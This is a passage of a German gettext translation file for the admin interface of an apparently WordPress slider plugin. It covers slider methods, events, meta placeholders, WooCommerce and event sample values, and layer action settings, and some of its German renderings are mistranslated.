admin/views/builder-slide-forms.php:645 msgid "Parameter 3" msgstr "Parameter 3" #: admin/views/modals-builder.php:306 admin/views/builder-slide-forms.php:646 msgid "Parameter 4" msgstr "Parameter 4" #: admin/views/modals-builder.php:307 admin/views/builder-slide-forms.php:647 msgid "Parameter 5" msgstr "Parameter 5" #: admin/views/modals-builder.php:308 admin/views/builder-slide-forms.php:648 msgid "Parameter 6" msgstr "Parameter 6" #: admin/views/modals-builder.php:309 admin/views/builder-slide-forms.php:649 msgid "Parameter 7" msgstr "Parameter 7" #: admin/views/modals-builder.php:310 admin/views/builder-slide-forms.php:650 msgid "Parameter 8" msgstr "Parameter 8" #: admin/views/modals-builder.php:311 admin/views/builder-slide-forms.php:651 msgid "Parameter 9" msgstr "Parameter 9" #: admin/views/modals-builder.php:312 admin/views/builder-slide-forms.php:652 msgid "Parameter 10" msgstr "Parameter 10" #: admin/views/modals-builder.php:316 msgid "Meta Values" msgstr "Meta-Werte" #: admin/views/modals-builder.php:318 msgid "Add New Meta" msgstr "Neues Meta hinzufügen" #: admin/views/modals-builder.php:321 msgid "Meta Config" msgstr "Meta Kofiguration" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:532 msgid "Font Family" msgstr "Schriftfamilie" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:127 msgid "Icon" msgstr "Icon" #: admin/views/modals-builder.php:352 admin/views/modals-builder.php:353 msgid "Can not be Empty" msgstr "Darf nicht leer sein" #: admin/views/modals-builder.php:353 msgid "Handle" msgstr "Handle" #: admin/views/modals-builder.php:372 msgid "CSS/JS Editor" msgstr "CSS / JS Editor" #: admin/views/modals-builder.php:372 msgid "CUSTOM CSS" msgstr "BENUTZERDEFINIERTES CSS" #: admin/views/modals-builder.php:372 msgid "CUSTOM JS" msgstr "BENUTZERDEFINIERTES JS" #: admin/views/modals-builder.php:380 msgid "Methods" msgstr "Methoden" #: admin/views/modals-builder.php:382 msgid "Call this function to start the slider." msgstr "Rufe diese Funktion auf, um Slider zu starten." #: admin/views/modals-builder.php:382 msgid "Start Slider" msgstr "Slider starten" #: admin/views/modals-builder.php:388 msgid "Call this function to pause the slider." msgstr "Rufen Sie diese Funktion auf, um den Slider zu pausieren." #: admin/views/modals-builder.php:394 msgid "Call this function to play the slider if it is paused." msgstr "" "Rufen Sie diese Funktion auf, um den Slider zu starten, wenn er pausiert " "wird." #: admin/views/modals-builder.php:394 msgid "Resume Slider" msgstr "Slider fortsetzen" #: admin/views/modals-builder.php:400 msgid "Switch slider to previous slide." msgstr "Schalte im Slider zum vorherigen Slide." #: admin/views/modals-builder.php:406 msgid "Switch slider to next slide." msgstr "Schalte im Slider zum nächsten Slide." #: admin/views/modals-builder.php:412 msgid "Scroll page under the slider." msgstr "Scrolle Seite unter den Slider." #: admin/views/modals-builder.php:412 msgid "External Scroll" msgstr "Externer Scroll" #: admin/views/modals-builder.php:418 msgid "" "Remove One Slide with Slide Index from the Slider. Index starts with 0 which " "will remove the first slide." msgstr "" "Entfernen Sie einen Slide mit Slideindex aus dem Slider. Der Index beginnt " "mit 0, wodurch die erste Slide entfernt wird." #: admin/views/modals-builder.php:418 msgid "Remove Slide" msgstr "Slide entfernen" #: admin/views/modals-builder.php:424 admin/views/modals-builder.php:430 msgid "Switch to the slide which is defined as parameter." msgstr "Wechseln Sie zu dem Slide, der als Parameter definiert ist." #: admin/views/modals-builder.php:424 msgid "Go To Slide" msgstr "Gehe zu Slide" #: admin/views/modals-builder.php:430 msgid "Go To Slide with ID" msgstr "Gehe zu Slide mit ID" #: admin/views/modals-builder.php:436 msgid "Get the amount of existing slides in the slider." msgstr "Erhalten Sie die Menge der vorhandenen Slides im Slider." #: admin/views/modals-builder.php:436 msgid "Max Slides" msgstr "Max. Slides" #: admin/views/modals-builder.php:442 msgid "Get the current focused slide index." msgstr "Ruft den aktuellen fokussierten Slide-Index ab." #: admin/views/modals-builder.php:442 msgid "Current Slide" msgstr "Aktueller Slide" #: admin/views/modals-builder.php:448 msgid "Get the previously played slide." msgstr "Holen Sie sich den zuvor gespielten Slide." #: admin/views/modals-builder.php:454 msgid "" "Recalculate all positions, sizing etc in the slider. This should be called " "i.e. if Slider was invisible and becomes visible without any window resize " "event." msgstr "" "Berechnen Sie alle Positionen, Größen usw. im Silber neu. Dies sollte zB " "aufgerufen werden, wenn der Slider unsichtbar war und ohne ein Ereignis zur " "Größenänderung des Fensters sichtbar wird." #: admin/views/modals-builder.php:454 msgid "Redraw Slider" msgstr "Silber neu zeichnen" #: admin/views/modals-builder.php:460 msgid "" "Unbind all listeners, remove current animations and delete containers. Ready " "for Garbage collection." msgstr "" "Trennen aller Listener, aktuelle Animationen entfernen und Löschen von " "Containern. Bereit für die Garbagecollection." #: admin/views/modals-builder.php:460 msgid "Kill Slider" msgstr "Slider töten" #: admin/views/modals-builder.php:469 admin/views/modals-builder.php:525 #: admin/views/modals-builder.php:607 msgid "Events" msgstr "Events" #: admin/views/modals-builder.php:471 msgid "Slider Loaded" msgstr "Slider geladen" #: admin/views/modals-builder.php:474 msgid "Slider swapped to an other slide" msgstr "Slider hat Slide gewechselt" #: admin/views/modals-builder.php:475 msgid "Index of Current Slide" msgstr "Index des aktuellen Slides" #: admin/views/modals-builder.php:475 msgid "Current

          • Index" msgstr "Aktueller
          • Index" #: admin/views/modals-builder.php:475 admin/views/modals-builder.php:493 #: admin/views/modals-builder.php:496 msgid "Current Slide as jQuery Object" msgstr "Aktueller Slide als jQuery-Objekt" #: admin/views/modals-builder.php:475 msgid "Prev. Slide as jQuery Object" msgstr "Vorheriger Slide als jQuery-Objekt" #: admin/views/modals-builder.php:477 msgid "Slider paused" msgstr "Slider pausiert" #: admin/views/modals-builder.php:478 msgid "Timer Paused" msgstr "Timer angehalten" #: admin/views/modals-builder.php:480 msgid "Slider is Playing after pause" msgstr "Slider spielt nach Pause" #: admin/views/modals-builder.php:481 msgid "Timer Resumed" msgstr "Timer fortgesetzt" #: admin/views/modals-builder.php:483 msgid "Video is playing in slider" msgstr "Video spielt im Slider" #: admin/views/modals-builder.php:484 msgid "Video is playing" msgstr "Video wird abgespielt" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video API" msgstr "Video-API" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "youtube, vimeo, html5" msgstr "YouTube, Vimeo, html5" #: admin/views/modals-builder.php:484 admin/views/modals-builder.php:487 msgid "Video Settings" msgstr "Video-Einstellungen" #: admin/views/modals-builder.php:486 msgid "Video stopped in slider" msgstr "Video in Slider gestoppt" #: admin/views/modals-builder.php:487 msgid "Video is stopped" msgstr "Video ist angehalten" #: admin/views/modals-builder.php:489 msgid "Slider reached the 'stop at' slide" msgstr "Der Slider erreichte den \"Stoppen bei\" Slide" #: admin/views/modals-builder.php:490 msgid "Slider Stopped" msgstr "Slider gestoppt" #: admin/views/modals-builder.php:492 msgid "Prepared for slide change" msgstr "Vorbereitet für Slidewechsel" #: admin/views/modals-builder.php:493 msgid "Slider Before Swap" msgstr "Slider vor dem Slide-Tausch" #: admin/views/modals-builder.php:493 msgid "Coming Slide as jQuery Object" msgstr "Kommender Slide als jQuery-Objekt" #: admin/views/modals-builder.php:495 msgid "Finnished with slide change" msgstr "Fertig mit dem Slidewechsel" #: admin/views/modals-builder.php:496 msgid "Slider After Swap" msgstr "Slider Nach Saide-Wechsel" #: admin/views/modals-builder.php:496 msgid "Previous Slide as jQuery Object" msgstr "Vorheriger Slide als jQuery-Objekt" #: admin/views/modals-builder.php:498 msgid "Last slide starts" msgstr "Letzter Slide startet" #: admin/views/modals-builder.php:499 msgid "Last Slide Started, Slider is at the end" msgstr "Letzte Slide gestartet, Slider ist am Ende" #: admin/views/modals-builder.php:501 msgid "Layer Events" msgstr "Layer Ereignisse" #: admin/views/modals-builder.php:502 msgid "Layer Action (enterstage, enteredstage, leavestage,leftstage)" msgstr "Layer Aktion (Enterstage, Enterstage, Leavestage, Leftstage)" #: admin/views/modals-builder.php:502 msgid "Layer Type (image,video,html)" msgstr "Layer Typ (Bild, Video, HTML)" #: admin/views/modals-builder.php:502 msgid "Default Settings for Layer" msgstr "Standardeinstellungen für Layer" #: admin/views/modals-builder.php:502 msgid "Layer as jQuery Object" msgstr "Layer als jQuery-Objekt" #: admin/views/modals-builder.php:520 msgid "Meta Datas" msgstr "Metadaten" #: admin/views/modals-builder.php:522 msgid "Basic" msgstr "Basic" #: admin/views/modals-builder.php:526 admin/views/modals-builder.php:630 msgid "Social" msgstr "Social" #: admin/views/modals-builder.php:535 msgid "Basic Metas" msgstr "Grundlegende Metas" #: admin/views/modals-builder.php:536 msgid "Link to current page" msgstr "Link zur aktuellen Seite" #: admin/views/modals-builder.php:536 msgid "http://yoursite.com/page" msgstr "http://yoursite.com/page" #: admin/views/modals-builder.php:537 msgid "Link to WP Home Page" msgstr "Link zur WP-Homepage" #: admin/views/modals-builder.php:537 msgid "http://yoursite.com/home" msgstr "http://yoursite.com/home" #: admin/views/modals-builder.php:544 msgid "Post Basics" msgstr "Beitrag Basis" #: admin/views/modals-builder.php:546 msgid "Any custom meta tag" msgstr "Beliebiges benutzerdefiniertes Meta-Tag" #: admin/views/modals-builder.php:546 msgid "Custom Meta" msgstr "Eigene Meta" #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 msgid "Post Title" msgstr "Beitragstitel" #: admin/views/modals-builder.php:548 msgid "Post Excerpt" msgstr "Beitragsauszug" #: admin/views/modals-builder.php:548 admin/views/modals-builder.php:677 msgid "" "Excerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy." msgstr "" "Auszug ipsum dolor sitzen amet, consetetur sadipscing elitr sed diam nonumy." #: admin/views/modals-builder.php:549 msgid "Post Alias" msgstr "Beitragsalias" #: admin/views/modals-builder.php:550 msgid "Post Content" msgstr "Beitragsinhalt" #: admin/views/modals-builder.php:550 admin/views/modals-builder.php:551 #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:635 #: admin/views/modals-builder.php:636 admin/views/modals-builder.php:637 msgid "" "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy " "eirmod tempor invidunt." msgstr "" "Lorem ipsum dolor sitzt amet, consetetur sadipscing elitr, sed diam nonumy " "eirmod tempor invidunt." #: admin/views/modals-builder.php:551 admin/views/modals-builder.php:636 msgid "Post content limit by words" msgstr "Beitrag Inhalt Limit nach Wörtern" #: admin/views/modals-builder.php:552 admin/views/modals-builder.php:637 msgid "Post content limit by chars" msgstr "Beitrag Inhalt Limit nach Zeichen" #: admin/views/modals-builder.php:557 msgid "Post Details" msgstr "Beitrag Details" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "The link to the post" msgstr "Der Link zum Beitrag" #: admin/views/modals-builder.php:558 admin/views/modals-builder.php:638 msgid "http://yoursite.com/post" msgstr "http://yoursite.com/post" #: admin/views/modals-builder.php:559 admin/views/modals-builder.php:639 #: admin/views/modals-builder.php:646 admin/views/modals-builder.php:653 msgid "Date created" msgstr "Erstellungsdatum" #: admin/views/modals-builder.php:559 msgid "05.03.2018" msgstr "05.03.2018" #: admin/views/modals-builder.php:560 msgid "Date modified" msgstr "Bearbeitet am" #: admin/views/modals-builder.php:560 msgid "04.03.2018" msgstr "04.03.2018" #: admin/views/modals-builder.php:561 msgid "Author name" msgstr "Name des Autors" #: admin/views/modals-builder.php:561 admin/views/modals-builder.php:640 msgid "John Doe" msgstr "John Doe" #: admin/views/modals-builder.php:562 msgid "Author Avatar URL(size in px)" msgstr "Autor Avatar URL (Größe in px)" #: admin/views/modals-builder.php:562 msgid "http://yoursite/media/avatar.jpg" msgstr "http: //yoursite/media/avatar.jpg" #: admin/views/modals-builder.php:563 msgid "Author Website" msgstr "Website des Autors" #: admin/views/modals-builder.php:563 msgid "http://yoursite/user/page" msgstr "http: // yoursite / user / page" #: admin/views/modals-builder.php:564 msgid "Author Posts Page" msgstr "Autor Beiträge Seite" #: admin/views/modals-builder.php:564 msgid "http://yoursite/user/post" msgstr "http: // yoursite / user / post" #: admin/views/modals-builder.php:569 msgid "Post Categories, Tags and Comments" msgstr "Beitrag Kategorien, Tags und Kommentare" #: admin/views/modals-builder.php:570 msgid "Number of comments" msgstr "Anzahl Kommentare" #: admin/views/modals-builder.php:570 msgid "20" msgstr "20" #: admin/views/modals-builder.php:571 msgid "List of categories with links" msgstr "Liste der Kategorien mit Links" #: admin/views/modals-builder.php:571 admin/views/modals-builder.php:572 msgid "Category1, Category2, Category3" msgstr "Kategorie1, Kategorie2, Kategorie3" #: admin/views/modals-builder.php:572 msgid "List of categories without links" msgstr "Liste der Kategorien ohne Links" #: admin/views/modals-builder.php:573 msgid "List of tags with links" msgstr "Liste der Tags mit Links" #: admin/views/modals-builder.php:573 msgid "Tag1, Tag2, Tag3" msgstr "Tag1, Tag2, Tag3" #: admin/views/modals-builder.php:580 msgid "WooCommerce Basics" msgstr "WooCommerce Grundlagen" #: admin/views/modals-builder.php:581 msgid "Categories" msgstr "Kategorien" #: admin/views/modals-builder.php:581 msgid "WC Category1, WC Category2" msgstr "WC-Kategorie1, WC-Kategorie2" #: admin/views/modals-builder.php:582 msgid "WC Tag 1, WC Tag 2, WC Tag 3" msgstr "WC-Tag 1, WC-Tag 2, WC-Tag 3" #: admin/views/modals-builder.php:583 msgid "Add to Cart URL" msgstr "Zum Warenkorb hinzufügen URL" #: admin/views/modals-builder.php:583 msgid "http://yoursite.com/addtocart.php" msgstr "http://yoursite.com/addtocart.php" #: admin/views/modals-builder.php:584 msgid "Add to Cart Button" msgstr "In den Warenkorb Button" #: admin/views/modals-builder.php:584 msgid "Add To Cart" msgstr "In den Warenkorb legen" #: admin/views/modals-builder.php:587 msgid "WooCommerce Prices" msgstr "WooCommerce Preise" #: admin/views/modals-builder.php:588 msgid "Full Price" msgstr "Voller Preis" #: admin/views/modals-builder.php:588 admin/views/modals-builder.php:589 msgid "$9.99" msgstr "$9.99" #: admin/views/modals-builder.php:589 msgid "Single Price" msgstr "Einzelpreis" #: admin/views/modals-builder.php:590 msgid "Single Price without currency" msgstr "Einzelpreis ohne Währung" #: admin/views/modals-builder.php:590 msgid "9.99" msgstr "9.99" #: admin/views/modals-builder.php:593 msgid "WooCommerce Stock" msgstr "WooCommerce Bestand" #: admin/views/modals-builder.php:594 msgid "457819" msgstr "457819" #: admin/views/modals-builder.php:595 msgid "In Stock" msgstr "Auf Lager" #: admin/views/modals-builder.php:595 msgid "5" msgstr "5" #: admin/views/modals-builder.php:596 msgid "Package" msgstr "Paket" #: admin/views/modals-builder.php:599 msgid "WooCommerce Ratings" msgstr "WooCommerce-Bewertungen" #: admin/views/modals-builder.php:600 msgid "Number of Ratings" msgstr "Anzahl der Bewertungen" #: admin/views/modals-builder.php:600 msgid "47" msgstr "47" #: admin/views/modals-builder.php:601 msgid "Number of Reviews" msgstr "Anzahl der Bewertungen" #: admin/views/modals-builder.php:601 msgid "13" msgstr "13" #: admin/views/modals-builder.php:602 msgid "Text Rating" msgstr "Text Bewertung" #: admin/views/modals-builder.php:602 msgid "9" msgstr "9" #: admin/views/modals-builder.php:603 msgid "Star Rating" msgstr "Bewertung in Sternen" #: admin/views/modals-builder.php:603 msgid "38" msgstr "38" #: admin/views/modals-builder.php:610 msgid "Event Basics" msgstr "Veranstaltungen Grundlagen" #: admin/views/modals-builder.php:611 msgid "Event start date" msgstr "Startdatum der Veranstaltung" #: admin/views/modals-builder.php:611 msgid "14.09.2019" msgstr "14.09.2019" #: admin/views/modals-builder.php:612 msgid "Event end date" msgstr "Enddatum des Ereignisses" #: admin/views/modals-builder.php:612 msgid "17.09.2019" msgstr "17.09.2019" #: admin/views/modals-builder.php:613 msgid "Event start time" msgstr "Startzeit des Ereignisses" #: admin/views/modals-builder.php:613 msgid "21:00" msgstr "21:00" #: admin/views/modals-builder.php:614 msgid "Event end time" msgstr "Endzeit des Ereignisses" #: admin/views/modals-builder.php:614 msgid "14:00" msgstr "14:00" #: admin/views/modals-builder.php:615 msgid "Event ID" msgstr "Ereignis-ID" #: admin/views/modals-builder.php:615 msgid "EQH-1879" msgstr "EQH-1879" #: admin/views/modals-builder.php:618 msgid "Event Location" msgstr "Veranstaltungsort" #: admin/views/modals-builder.php:619 msgid "Event location name" msgstr "Name des Veranstaltungsorts" #: admin/views/modals-builder.php:619 msgid "Music Hall" msgstr "Musikhalle" #: admin/views/modals-builder.php:620 msgid "Event location slug" msgstr "Veranstaltungsort Slug" #: admin/views/modals-builder.php:620 msgid "Concert" msgstr "Konzert" #: admin/views/modals-builder.php:621 msgid "Event location address" msgstr "Veranstaltungsort-Adresse" #: admin/views/modals-builder.php:621 msgid "East 32th Street between Park & Lexington Avn " msgstr "East 32th Street zwischen Park & Lexington Avn " #: admin/views/modals-builder.php:622 msgid "Event location town" msgstr "Veranstaltungsort Stadt" #: admin/views/modals-builder.php:622 msgid "Los Angeles" msgstr "Los Angeles" #: admin/views/modals-builder.php:623 msgid "Event location state" msgstr "Veranstaltungsortstatus" #: admin/views/modals-builder.php:623 msgid "US" msgstr "UNS" #: admin/views/modals-builder.php:624 msgid "Event location postcode" msgstr "Postleitzahl des Veranstaltungsorts" #: admin/views/modals-builder.php:624 msgid "EX 87 TNT" msgstr "EX 87 TNT" #: admin/views/modals-builder.php:625 msgid "Event location region" msgstr "Veranstaltungsort Region" #: admin/views/modals-builder.php:625 msgid "Orange Country" msgstr "Orange Country" #: admin/views/modals-builder.php:626 msgid "Event location country" msgstr "Veranstaltungsort Land" #: admin/views/modals-builder.php:626 msgid "USA" msgstr "Vereinigte Staaten von Amerika" #: admin/views/modals-builder.php:633 msgid "Social Basics (Flickr, Instagram, Twitter, Facebook, YouTube)" msgstr "Soziale Grundlagen (Flickr, Instagram, Twitter, Facebook, YouTube)" #: admin/views/modals-builder.php:635 msgid "Post content" msgstr "Beitragsinhalt" #: admin/views/modals-builder.php:639 admin/views/modals-builder.php:646 #: admin/views/modals-builder.php:653 admin/views/modals-builder.php:661 #: admin/views/modals-builder.php:669 admin/views/modals-builder.php:678 #: admin/views/modals-builder.php:684 msgid "08.03.2018" msgstr "08.03.2018" #: admin/views/modals-builder.php:640 msgid "Username" msgstr "Nutzername" #: admin/views/modals-builder.php:645 msgid "Flickr Extras" msgstr "Flickr Extras" #: admin/views/modals-builder.php:647 msgid "Views" msgstr "Views" #: admin/views/modals-builder.php:647 msgid "24" msgstr "24" #: admin/views/modals-builder.php:652 msgid "Instagramm Extras" msgstr "Instagramm Extras" #: admin/views/modals-builder.php:654 admin/views/modals-builder.php:671 #: admin/views/modals-builder.php:685 msgid "Number of Likes" msgstr "Anzahl der Likes" #: admin/views/modals-builder.php:654 msgid "12" msgstr "12" #: admin/views/modals-builder.php:655 admin/views/modals-builder.php:687 msgid "Number of Comments" msgstr "Anzahl der Kommentare" #: admin/views/modals-builder.php:655 msgid "19" msgstr "19" #: admin/views/modals-builder.php:660 msgid "Twitter Extras" msgstr "Twitter Extras" #: admin/views/modals-builder.php:661 admin/views/modals-builder.php:669 #: admin/views/modals-builder.php:678 admin/views/modals-builder.php:684 msgid "Date Published" msgstr "Erscheinungsdatum" #: admin/views/modals-builder.php:662 msgid "Retweet Count" msgstr "Retweet Count" #: admin/views/modals-builder.php:662 msgid "19824" msgstr "19824" #: admin/views/modals-builder.php:663 msgid "Favorite Count" msgstr "Anzahl Favoriten" #: admin/views/modals-builder.php:663 msgid "1249" msgstr "1249" #: admin/views/modals-builder.php:668 msgid "Facebook Extras" msgstr "Facebook Extras" #: admin/views/modals-builder.php:670 msgid "Date Modified" msgstr "Änderungsdatum" #: admin/views/modals-builder.php:670 msgid "18.08.2018" msgstr "18.08.2018" #: admin/views/modals-builder.php:671 msgid "212" msgstr "212" #: admin/views/modals-builder.php:676 msgid "YouTube Extras" msgstr "YouTube Extras" #: admin/views/modals-builder.php:677 msgid "Excerpt" msgstr "Auszug" #: admin/views/modals-builder.php:683 msgid "Vimeo Extras" msgstr "Vimeo Extras" #: admin/views/modals-builder.php:685 msgid "321" msgstr "321" #: admin/views/modals-builder.php:686 msgid "Number of Views" msgstr "Anzahl der Aufrufe" #: admin/views/modals-builder.php:686 msgid "1786" msgstr "1786" #: admin/views/modals-builder.php:687 msgid "124" msgstr "124" #: admin/views/modals-builder.php:703 admin/views/builder-layer-forms.php:1074 #: admin/views/builder-layer-forms.php:1078 msgid "Actions" msgstr "Aktionen" #: admin/views/modals-builder.php:716 msgid "Trigger Memory" msgstr "Trigger Speicher" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Reset before each Loop" msgstr "Reset vor jeder Schleife" #: admin/views/modals-builder.php:716 admin/views/modals-builder.php:832 msgid "Keep Last State" msgstr "Letzten Zustand beibehalten" #: admin/views/modals-builder.php:728 msgid "No Action Selected" msgstr "Keine Aktion ausgewählt" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Click" msgstr "Klicken" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Enter" msgstr "Maus Über" #: admin/views/modals-builder.php:736 admin/views/modals-builder.php:737 msgid "Mouse Leave" msgstr "Maus verlassen" #: admin/views/modals-builder.php:737 msgid "Interaction" msgstr "Interaktion" #: admin/views/modals-builder.php:743 msgid "Action Type" msgstr "Aktionstyp" #: admin/views/modals-builder.php:748 msgid "Link URL" msgstr "URL verknüpfen" #: admin/views/modals-builder.php:748 msgid "Enter Link" msgstr "Link eingeben" #: admin/views/modals-builder.php:749 msgid "Link Target" msgstr "Linkziel" #: admin/views/modals-builder.php:749 msgid "Same Window" msgstr "Gleiches Fenster" #: admin/views/modals-builder.php:749 msgid "New Window" msgstr "Neues Fenster" #: admin/views/modals-builder.php:750 msgid "Link Type" msgstr "Linktyp" #: admin/views/modals-builder.php:751 msgid "Follow" msgstr "Folgen" #: admin/views/modals-builder.php:751 msgid "Follow Link" msgstr "Follow" #: admin/views/modals-builder.php:751 msgid "No Follow" msgstr "No Follow" #: admin/views/modals-builder.php:756 msgid "Open Modal" msgstr "Modal öffnen" #: admin/views/modals-builder.php:757 msgid "Open Slide" msgstr "Slide öffnen" #: admin/views/modals-builder.php:762 msgid "Function" msgstr "Funktion" #: admin/views/modals-builder.php:762 msgid "javaScript Function" msgstr "JavaScript Funktion" #: admin/views/modals-builder.php:768 msgid "Scroll to ID" msgstr "Zu ID scrollen" #: admin/views/modals-builder.php:768 msgid "ID of Element" msgstr "ID des Elements" #: admin/views/modals-builder.php:774 msgid "Scroll Offset" msgstr "Scroll Offset" #: admin/views/modals-builder.php:774 msgid "Offset to Scroll Position" msgstr "Offset zur Scroll Position" #: admin/views/modals-builder.php:775 msgid "Animation Ease" msgstr "Animation Ease" #: admin/views/modals-builder.php:776 msgid "Animation Duration" msgstr "Animationsdauer" #: admin/views/modals-builder.php:776 msgid "Animation Duration in ms" msgstr "Animationsdauer in ms" #: admin/views/modals-builder.php:788 msgid "Target Layer" msgstr "Ziel-Layer" #: admin/views/modals-builder.php:794 msgid "Toggle Start State" msgstr "Startstatus umschalten" #: admin/views/modals-builder.php:794 msgid "Toggled (Visible)" msgstr "Umgeschaltet (sichtbar)" #: admin/views/modals-builder.php:794 msgid "Untoggled (Hidden)" msgstr "Untoggled (Versteckt)" #: admin/views/modals-builder.php:799 admin/views/modals-builder.php:804 #: admin/views/modals-builder.php:811 msgid "Frame wait's on Action" msgstr "Frame wartet auf Aktion" #: admin/views/modals-builder.php:809 msgid "GoTo Frame" msgstr "Gehe zu Frame" #: admin/views/modals-builder.php:817 msgid "Frame N" msgstr "Frame N" #: admin/views/modals-builder.php:818 msgid "Frame M" msgstr "Frame M" #: admin/views/modals-builder.php:820 msgid "\"N\" wait's on Action" msgstr "\"N\" wartet auf Aktion" #: admin/views/modals-builder.php:821 msgid "\"M\" wait's on Action" msgstr "\"M\" wartet auf Aktion" #: admin/views/modals-builder.php:827 msgid "Reset Children Timelines" msgstr "Reset untergeordnete Zeitleisten" #: admin/views/modals-builder.php:832 msgid "After Action" msgstr "Nach der Aktion" #: admin/views/modals-builder.php:838 msgid "Class to Toggle" msgstr "Klasse zum Umschalten" #: admin/views/modals-builder.php:838 msgid "class Name to Toggle" msgstr "Klassenname zum Umschalten" #: admin/views/modals-builder.php:845 msgid "Action Delay" msgstr "Aktionsverzögerung" #: admin/views/builder-slide-forms.php:19 #: admin/views/builder-slide-forms.php:39 #: admin/views/builder-layer-forms.php:505 #: admin/views/builder-layer-forms.php:562 #: admin/views/builder-layer-forms.php:1560 msgid "Background" msgstr "Hintergrund" #: admin/views/builder-slide-forms.php:24 msgid "Pub. Rules" msgstr "Pub. Regeln" #: admin/views/builder-slide-forms.php:25 msgid "Tags & Link" msgstr "Tags & Link" #: admin/views/builder-slide-forms.php:26 msgid "Static Layer" msgstr "Statischer Layer" #: admin/views/builder-slide-forms.php:27 msgid "Ken Burns" msgstr "Ken Burns" #: admin/views/builder-slide-forms.php:28 msgid "Params" msgstr "Parameter" #: admin/views/builder-slide-forms.php:29 msgid "Loop Layers" msgstr "Loop Layer" #: admin/views/builder-slide-forms.php:45 msgid "External Image" msgstr "Externes Bild" #: admin/views/builder-slide-forms.php:45 msgid "Transparent" msgstr "Transparent" #: admin/views/builder-slide-forms.php:45 msgid "Colored" msgstr "Farbig" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:200 msgid "YouTube Video" msgstr "YouTube-Video" #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-layer-forms.php:201 msgid "Vimeo Video" msgstr "Vimeo Video" #: admin/views/builder-slide-forms.php:45 msgid "HML5 Video" msgstr "HML5-Video" #: admin/views/builder-slide-forms.php:57 msgid "Refresh Source" msgstr "Quelle aktualisieren" #: admin/views/builder-slide-forms.php:59 msgid "Background Color" msgstr "Hintergrundfarbe" #: admin/views/builder-slide-forms.php:61 msgid "YouTube ID" msgstr "YouTube-ID" #: admin/views/builder-slide-forms.php:61 msgid "Enter YouTube ID" msgstr "Gib die YouTube-ID ein" #: admin/views/builder-slide-forms.php:63 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-layer-forms.php:255 #: admin/views/builder-layer-forms.php:259 #: admin/views/builder-layer-forms.php:262 msgid "Poster Image" msgstr "Poster-Bild" #: admin/views/builder-slide-forms.php:63 msgid "YouTube Poster" msgstr "YouTube-Poster" #: admin/views/builder-slide-forms.php:66 #: admin/views/builder-slide-forms.php:73 #: admin/views/builder-slide-forms.php:84 #: admin/views/builder-layer-forms.php:571 msgid "Remove" msgstr "Entfernen" #: admin/views/builder-slide-forms.php:69 msgid "Vimeo ID" msgstr "Vimeo ID" #: admin/views/builder-slide-forms.php:69 msgid "Enter Vimeo ID" msgstr "Geben Sie die Vimeo ID ein" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "MPEG" msgstr "MPEG" #: admin/views/builder-slide-forms.php:76 #: admin/views/builder-layer-forms.php:214 #: admin/views/builder-layer-forms.php:218 msgid "Enter MPEG Source" msgstr "Geben Sie die MPEG-Quelle ein" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "WEBM" msgstr "WEBM" #: admin/views/builder-slide-forms.php:79 #: admin/views/builder-layer-forms.php:225 msgid "Optional WEBM Source" msgstr "Optionale WEBM-Quelle" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "OGV" msgstr "OGV" #: admin/views/builder-slide-forms.php:80 #: admin/views/builder-layer-forms.php:226 msgid "Optional OGV Source" msgstr "Optionale OGV-Quelle" #: admin/views/builder-slide-forms.php:91 msgid "Video from Stream if exists" msgstr "Video vom Stream, falls vorhanden" #: admin/views/builder-slide-forms.php:98 msgid "Settings" msgstr "Einstellungen" #: admin/views/builder-slide-forms.php:104 msgid "Source Size" msgstr "Quellgröße" #: admin/views/builder-slide-forms.php:115 msgid "BG Fit" msgstr "HG Fit" #: admin/views/builder-slide-forms.php:130 #: admin/views/builder-slide-forms.php:669 msgid "Repeat" msgstr "Wiederholen" #: admin/views/builder-slide-forms.php:138 msgid "(x%, y%)" msgstr "(x%, y%)" #: admin/views/builder-slide-forms.php:157 msgid "X% Y%" msgstr "X% Y%" #: admin/views/builder-slide-forms.php:172 msgid "\"Alt\" Attr." msgstr "\"Alt\" Attr." #: admin/views/builder-slide-forms.php:174 #: admin/views/builder-slide-forms.php:186 msgid "Filename" msgstr "Dateiname" #: admin/views/builder-slide-forms.php:179 msgid "Custom \"Alt\"" msgstr "Eigener \"Alt\"" #: admin/views/builder-slide-forms.php:184 msgid "\"Title\" Attr." msgstr "\"Titel\" Attr." #: admin/views/builder-slide-forms.php:192 msgid "Custom \"Title\"" msgstr "Benutzerdefinierter \"Titel\"" #: admin/views/builder-slide-forms.php:196 msgid "Width Attrib." msgstr "Breite Attrib." #: admin/views/builder-slide-forms.php:197 msgid "Height Attrib." msgstr "Höhe Attrib." #: admin/views/builder-slide-forms.php:204 #: admin/views/builder-layer-forms.php:234 msgid "Aspect Ratio" msgstr "Seitenverhältnis" #: admin/views/builder-slide-forms.php:208 msgid "Loop Mode" msgstr "Loop Modus" #: admin/views/builder-slide-forms.php:209 msgid "Disable" msgstr "Deaktivieren" #: admin/views/builder-slide-forms.php:210 msgid "Slider Timer paused" msgstr "Slider Timer angehalten" #: admin/views/builder-slide-forms.php:211 msgid "Slider Timer keep going" msgstr "Slider Timer weitermachen" #: admin/views/builder-slide-forms.php:214 msgid "Force Cover Mode" msgstr "Cover-Modus erzwingen" #: admin/views/builder-slide-forms.php:215 #: admin/views/builder-layer-forms.php:278 msgid "Next Slide at End" 